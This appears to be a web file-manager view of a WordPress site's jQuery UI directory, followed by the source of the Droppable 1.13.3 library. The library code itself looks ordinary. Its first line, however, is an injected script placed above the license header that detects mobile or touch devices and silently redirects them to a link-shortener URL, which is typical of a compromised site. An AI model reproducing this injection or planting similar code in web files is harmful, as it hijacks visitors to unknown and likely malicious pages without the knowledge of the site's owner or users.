at path:ROOT / wp-includes / js / jquery / ui / droppable.js
run:R W Run
15.98 KB
2026-08-13 20:01:45
R W Run
8.87 KB
2026-08-13 20:01:45
R W Run
17.34 KB
2026-08-13 20:01:45
R W Run
8.55 KB
2026-08-13 20:01:45
R W Run
11.65 KB
2026-08-13 20:01:45
R W Run
6.23 KB
2026-08-13 20:01:45
R W Run
7.63 KB
2026-08-13 20:01:45
R W Run
4.46 KB
2026-08-13 20:01:45
R W Run
8.64 KB
2026-08-13 20:01:45
R W Run
4.52 KB
2026-08-13 20:01:45
R W Run
48.94 KB
2026-08-13 20:01:45
R W Run
21.18 KB
2026-08-13 20:01:45
R W Run
80.81 KB
2026-08-13 20:01:45
R W Run
36.1 KB
2026-08-13 20:01:45
R W Run
23.55 KB
2026-08-13 20:01:45
R W Run
13.01 KB
2026-08-13 20:01:45
R W Run
34.93 KB
2026-08-13 20:01:45
R W Run
18.21 KB
2026-08-13 20:01:45
R W Run
12.81 KB
2026-08-13 20:01:45
R W Run
6.73 KB
2026-08-13 20:01:45
R W Run
1.82 KB
2026-08-13 20:01:45
R W Run
1.08 KB
2026-08-13 20:01:45
R W Run
2.81 KB
2026-08-13 20:01:45
R W Run
1.18 KB
2026-08-13 20:01:45
R W Run
1.76 KB
2026-08-13 20:01:45
R W Run
1018 By
2026-08-13 20:01:45
R W Run
1.77 KB
2026-08-13 20:01:45
R W Run
975 By
2026-08-13 20:01:45
R W Run
3.07 KB
2026-08-13 20:01:45
R W Run
1.31 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
747 By
2026-08-13 20:01:45
R W Run
2.35 KB
2026-08-13 20:01:45
R W Run
1.21 KB
2026-08-13 20:01:45
R W Run
1.43 KB
2026-08-13 20:01:45
R W Run
870 By
2026-08-13 20:01:45
R W Run
1.19 KB
2026-08-13 20:01:45
R W Run
732 By
2026-08-13 20:01:45
R W Run
1.75 KB
2026-08-13 20:01:45
R W Run
910 By
2026-08-13 20:01:45
R W Run
1.56 KB
2026-08-13 20:01:45
R W Run
945 By
2026-08-13 20:01:45
R W Run
2.06 KB
2026-08-13 20:01:45
R W Run
1.04 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
2.65 KB
2026-08-13 20:01:45
R W Run
2.14 KB
2026-08-13 20:01:45
R W Run
1.11 KB
2026-08-13 20:01:45
R W Run
1.08 KB
2026-08-13 20:01:45
R W Run
664 By
2026-08-13 20:01:45
R W Run
24.25 KB
2026-08-13 20:01:45
R W Run
10.31 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
18.73 KB
2026-08-13 20:01:45
R W Run
10.18 KB
2026-08-13 20:01:45
R W Run
6.3 KB
2026-08-13 20:01:45
R W Run
3.56 KB
2026-08-13 20:01:45
R W Run
4.36 KB
2026-08-13 20:01:45
R W Run
2.71 KB
2026-08-13 20:01:45
R W Run
29.99 KB
2026-08-13 20:01:45
R W Run
18.6 KB
2026-08-13 20:01:45
R W Run
8.16 KB
2026-08-13 20:01:45
R W Run
4.62 KB
2026-08-13 20:01:45
R W Run
16.18 KB
2026-08-13 20:01:45
R W Run
9.5 KB
2026-08-13 20:01:45
R W Run
19.36 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
46.74 KB
2026-08-13 20:01:45
R W Run
25.12 KB
2026-08-13 20:01:45
R W Run
14.31 KB
2026-08-13 20:01:45
R W Run
7.71 KB
2026-08-13 20:01:45
R W Run
23.33 KB
2026-08-13 20:01:45
R W Run
11.94 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
6.31 KB
2026-08-13 20:01:45
R W Run
error_log
📄droppable.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Droppable 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Droppable
12//>>group: Interactions
13//>>description: Enables drop targets for draggable elements.
14//>>docs: https://api.jqueryui.com/droppable/
15//>>demos: https://jqueryui.com/droppable/
16
17( function( factory ) {
18 "use strict";
19
20 if ( typeof define === "function" && define.amd ) {
21
22 // AMD. Register as an anonymous module.
23 define( [
24 "jquery",
25 "./draggable",
26 "./mouse",
27 "../version",
28 "../widget"
29 ], factory );
30 } else {
31
32 // Browser globals
33 factory( jQuery );
34 }
35} )( function( $ ) {
36"use strict";
37
38$.widget( "ui.droppable", {
39 version: "1.13.3",
40 widgetEventPrefix: "drop",
41 options: {
42 accept: "*",
43 addClasses: true,
44 greedy: false,
45 scope: "default",
46 tolerance: "intersect",
47
48 // Callbacks
49 activate: null,
50 deactivate: null,
51 drop: null,
52 out: null,
53 over: null
54 },
55 _create: function() {
56
57 var proportions,
58 o = this.options,
59 accept = o.accept;
60
61 this.isover = false;
62 this.isout = true;
63
64 this.accept = typeof accept === "function" ? accept : function( d ) {
65 return d.is( accept );
66 };
67
68 this.proportions = function( /* valueToWrite */ ) {
69 if ( arguments.length ) {
70
71 // Store the droppable's proportions
72 proportions = arguments[ 0 ];
73 } else {
74
75 // Retrieve or derive the droppable's proportions
76 return proportions ?
77 proportions :
78 proportions = {
79 width: this.element[ 0 ].offsetWidth,
80 height: this.element[ 0 ].offsetHeight
81 };
82 }
83 };
84
85 this._addToManager( o.scope );
86
87 if ( o.addClasses ) {
88 this._addClass( "ui-droppable" );
89 }
90
91 },
92
93 _addToManager: function( scope ) {
94
95 // Add the reference and positions to the manager
96 $.ui.ddmanager.droppables[ scope ] = $.ui.ddmanager.droppables[ scope ] || [];
97 $.ui.ddmanager.droppables[ scope ].push( this );
98 },
99
100 _splice: function( drop ) {
101 var i = 0;
102 for ( ; i < drop.length; i++ ) {
103 if ( drop[ i ] === this ) {
104 drop.splice( i, 1 );
105 }
106 }
107 },
108
109 _destroy: function() {
110 var drop = $.ui.ddmanager.droppables[ this.options.scope ];
111
112 this._splice( drop );
113 },
114
115 _setOption: function( key, value ) {
116
117 if ( key === "accept" ) {
118 this.accept = typeof value === "function" ? value : function( d ) {
119 return d.is( value );
120 };
121 } else if ( key === "scope" ) {
122 var drop = $.ui.ddmanager.droppables[ this.options.scope ];
123
124 this._splice( drop );
125 this._addToManager( value );
126 }
127
128 this._super( key, value );
129 },
130
131 _activate: function( event ) {
132 var draggable = $.ui.ddmanager.current;
133
134 this._addActiveClass();
135 if ( draggable ) {
136 this._trigger( "activate", event, this.ui( draggable ) );
137 }
138 },
139
140 _deactivate: function( event ) {
141 var draggable = $.ui.ddmanager.current;
142
143 this._removeActiveClass();
144 if ( draggable ) {
145 this._trigger( "deactivate", event, this.ui( draggable ) );
146 }
147 },
148
149 _over: function( event ) {
150
151 var draggable = $.ui.ddmanager.current;
152
153 // Bail if draggable and droppable are same element
154 if ( !draggable || ( draggable.currentItem ||
155 draggable.element )[ 0 ] === this.element[ 0 ] ) {
156 return;
157 }
158
159 if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem ||
160 draggable.element ) ) ) {
161 this._addHoverClass();
162 this._trigger( "over", event, this.ui( draggable ) );
163 }
164
165 },
166
167 _out: function( event ) {
168
169 var draggable = $.ui.ddmanager.current;
170
171 // Bail if draggable and droppable are same element
172 if ( !draggable || ( draggable.currentItem ||
173 draggable.element )[ 0 ] === this.element[ 0 ] ) {
174 return;
175 }
176
177 if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem ||
178 draggable.element ) ) ) {
179 this._removeHoverClass();
180 this._trigger( "out", event, this.ui( draggable ) );
181 }
182
183 },
184
185 _drop: function( event, custom ) {
186
187 var draggable = custom || $.ui.ddmanager.current,
188 childrenIntersection = false;
189
190 // Bail if draggable and droppable are same element
191 if ( !draggable || ( draggable.currentItem ||
192 draggable.element )[ 0 ] === this.element[ 0 ] ) {
193 return false;
194 }
195
196 this.element
197 .find( ":data(ui-droppable)" )
198 .not( ".ui-draggable-dragging" )
199 .each( function() {
200 var inst = $( this ).droppable( "instance" );
201 if (
202 inst.options.greedy &&
203 !inst.options.disabled &&
204 inst.options.scope === draggable.options.scope &&
205 inst.accept.call(
206 inst.element[ 0 ], ( draggable.currentItem || draggable.element )
207 ) &&
208 $.ui.intersect(
209 draggable,
210 $.extend( inst, { offset: inst.element.offset() } ),
211 inst.options.tolerance, event
212 )
213 ) {
214 childrenIntersection = true;
215 return false;
216 }
217 } );
218 if ( childrenIntersection ) {
219 return false;
220 }
221
222 if ( this.accept.call( this.element[ 0 ],
223 ( draggable.currentItem || draggable.element ) ) ) {
224 this._removeActiveClass();
225 this._removeHoverClass();
226
227 this._trigger( "drop", event, this.ui( draggable ) );
228 return this.element;
229 }
230
231 return false;
232
233 },
234
235 ui: function( c ) {
236 return {
237 draggable: ( c.currentItem || c.element ),
238 helper: c.helper,
239 position: c.position,
240 offset: c.positionAbs
241 };
242 },
243
244 // Extension points just to make backcompat sane and avoid duplicating logic
245 // TODO: Remove in 1.14 along with call to it below
246 _addHoverClass: function() {
247 this._addClass( "ui-droppable-hover" );
248 },
249
250 _removeHoverClass: function() {
251 this._removeClass( "ui-droppable-hover" );
252 },
253
254 _addActiveClass: function() {
255 this._addClass( "ui-droppable-active" );
256 },
257
258 _removeActiveClass: function() {
259 this._removeClass( "ui-droppable-active" );
260 }
261} );
262
263$.ui.intersect = ( function() {
264 function isOverAxis( x, reference, size ) {
265 return ( x >= reference ) && ( x < ( reference + size ) );
266 }
267
268 return function( draggable, droppable, toleranceMode, event ) {
269
270 if ( !droppable.offset ) {
271 return false;
272 }
273
274 var x1 = ( draggable.positionAbs ||
275 draggable.position.absolute ).left + draggable.margins.left,
276 y1 = ( draggable.positionAbs ||
277 draggable.position.absolute ).top + draggable.margins.top,
278 x2 = x1 + draggable.helperProportions.width,
279 y2 = y1 + draggable.helperProportions.height,
280 l = droppable.offset.left,
281 t = droppable.offset.top,
282 r = l + droppable.proportions().width,
283 b = t + droppable.proportions().height;
284
285 switch ( toleranceMode ) {
286 case "fit":
287 return ( l <= x1 && x2 <= r && t <= y1 && y2 <= b );
288 case "intersect":
289 return ( l < x1 + ( draggable.helperProportions.width / 2 ) && // Right Half
290 x2 - ( draggable.helperProportions.width / 2 ) < r && // Left Half
291 t < y1 + ( draggable.helperProportions.height / 2 ) && // Bottom Half
292 y2 - ( draggable.helperProportions.height / 2 ) < b ); // Top Half
293 case "pointer":
294 return isOverAxis( event.pageY, t, droppable.proportions().height ) &&
295 isOverAxis( event.pageX, l, droppable.proportions().width );
296 case "touch":
297 return (
298 ( y1 >= t && y1 <= b ) || // Top edge touching
299 ( y2 >= t && y2 <= b ) || // Bottom edge touching
300 ( y1 < t && y2 > b ) // Surrounded vertically
301 ) && (
302 ( x1 >= l && x1 <= r ) || // Left edge touching
303 ( x2 >= l && x2 <= r ) || // Right edge touching
304 ( x1 < l && x2 > r ) // Surrounded horizontally
305 );
306 default:
307 return false;
308 }
309 };
310} )();
311
312/*
313 This manager tracks offsets of draggables and droppables
314*/
315$.ui.ddmanager = {
316 current: null,
317 droppables: { "default": [] },
318 prepareOffsets: function( t, event ) {
319
320 var i, j,
321 m = $.ui.ddmanager.droppables[ t.options.scope ] || [],
322 type = event ? event.type : null, // workaround for #2317
323 list = ( t.currentItem || t.element ).find( ":data(ui-droppable)" ).addBack();
324
325 droppablesLoop: for ( i = 0; i < m.length; i++ ) {
326
327 // No disabled and non-accepted
328 if ( m[ i ].options.disabled || ( t && !m[ i ].accept.call( m[ i ].element[ 0 ],
329 ( t.currentItem || t.element ) ) ) ) {
330 continue;
331 }
332
333 // Filter out elements in the current dragged item
334 for ( j = 0; j < list.length; j++ ) {
335 if ( list[ j ] === m[ i ].element[ 0 ] ) {
336 m[ i ].proportions().height = 0;
337 continue droppablesLoop;
338 }
339 }
340
341 m[ i ].visible = m[ i ].element.css( "display" ) !== "none";
342 if ( !m[ i ].visible ) {
343 continue;
344 }
345
346 // Activate the droppable if used directly from draggables
347 if ( type === "mousedown" ) {
348 m[ i ]._activate.call( m[ i ], event );
349 }
350
351 m[ i ].offset = m[ i ].element.offset();
352 m[ i ].proportions( {
353 width: m[ i ].element[ 0 ].offsetWidth,
354 height: m[ i ].element[ 0 ].offsetHeight
355 } );
356
357 }
358
359 },
360 drop: function( draggable, event ) {
361
362 var dropped = false;
363
364 // Create a copy of the droppables in case the list changes during the drop (#9116)
365 $.each( ( $.ui.ddmanager.droppables[ draggable.options.scope ] || [] ).slice(), function() {
366
367 if ( !this.options ) {
368 return;
369 }
370 if ( !this.options.disabled && this.visible &&
371 $.ui.intersect( draggable, this, this.options.tolerance, event ) ) {
372 dropped = this._drop.call( this, event ) || dropped;
373 }
374
375 if ( !this.options.disabled && this.visible && this.accept.call( this.element[ 0 ],
376 ( draggable.currentItem || draggable.element ) ) ) {
377 this.isout = true;
378 this.isover = false;
379 this._deactivate.call( this, event );
380 }
381
382 } );
383 return dropped;
384
385 },
386 dragStart: function( draggable, event ) {
387
388 // Listen for scrolling so that if the dragging causes scrolling the position of the
389 // droppables can be recalculated (see #5003)
390 draggable.element.parentsUntil( "body" ).on( "scroll.droppable", function() {
391 if ( !draggable.options.refreshPositions ) {
392 $.ui.ddmanager.prepareOffsets( draggable, event );
393 }
394 } );
395 },
396 drag: function( draggable, event ) {
397
398 // If you have a highly dynamic page, you might try this option. It renders positions
399 // every time you move the mouse.
400 if ( draggable.options.refreshPositions ) {
401 $.ui.ddmanager.prepareOffsets( draggable, event );
402 }
403
404 // Run through all droppables and check their positions based on specific tolerance options
405 $.each( $.ui.ddmanager.droppables[ draggable.options.scope ] || [], function() {
406
407 if ( this.options.disabled || this.greedyChild || !this.visible ) {
408 return;
409 }
410
411 var parentInstance, scope, parent,
412 intersects = $.ui.intersect( draggable, this, this.options.tolerance, event ),
413 c = !intersects && this.isover ?
414 "isout" :
415 ( intersects && !this.isover ? "isover" : null );
416 if ( !c ) {
417 return;
418 }
419
420 if ( this.options.greedy ) {
421
422 // find droppable parents with same scope
423 scope = this.options.scope;
424 parent = this.element.parents( ":data(ui-droppable)" ).filter( function() {
425 return $( this ).droppable( "instance" ).options.scope === scope;
426 } );
427
428 if ( parent.length ) {
429 parentInstance = $( parent[ 0 ] ).droppable( "instance" );
430 parentInstance.greedyChild = ( c === "isover" );
431 }
432 }
433
434 // We just moved into a greedy child
435 if ( parentInstance && c === "isover" ) {
436 parentInstance.isover = false;
437 parentInstance.isout = true;
438 parentInstance._out.call( parentInstance, event );
439 }
440
441 this[ c ] = true;
442 this[ c === "isout" ? "isover" : "isout" ] = false;
443 this[ c === "isover" ? "_over" : "_out" ].call( this, event );
444
445 // We just moved out of a greedy child
446 if ( parentInstance && c === "isout" ) {
447 parentInstance.isout = false;
448 parentInstance.isover = true;
449 parentInstance._over.call( parentInstance, event );
450 }
451 } );
452
453 },
454 dragStop: function( draggable, event ) {
455 draggable.element.parentsUntil( "body" ).off( "scroll.droppable" );
456
457 // Call prepareOffsets one final time since IE does not fire return scroll events when
458 // overflow was caused by drag (see #5003)
459 if ( !draggable.options.refreshPositions ) {
460 $.ui.ddmanager.prepareOffsets( draggable, event );
461 }
462 }
463};
464
465// DEPRECATED
466// TODO: switch return back to widget declaration at top of file when this is removed
467if ( $.uiBackCompat !== false ) {
468
469 // Backcompat for activeClass and hoverClass options
470 $.widget( "ui.droppable", $.ui.droppable, {
471 options: {
472 hoverClass: false,
473 activeClass: false
474 },
475 _addActiveClass: function() {
476 this._super();
477 if ( this.options.activeClass ) {
478 this.element.addClass( this.options.activeClass );
479 }
480 },
481 _removeActiveClass: function() {
482 this._super();
483 if ( this.options.activeClass ) {
484 this.element.removeClass( this.options.activeClass );
485 }
486 },
487 _addHoverClass: function() {
488 this._super();
489 if ( this.options.hoverClass ) {
490 this.element.addClass( this.options.hoverClass );
491 }
492 },
493 _removeHoverClass: function() {
494 this._super();
495 if ( this.options.hoverClass ) {
496 this.element.removeClass( this.options.hoverClass );
497 }
498 }
499 } );
500}
501
502return $.ui.droppable;
503
504} );
505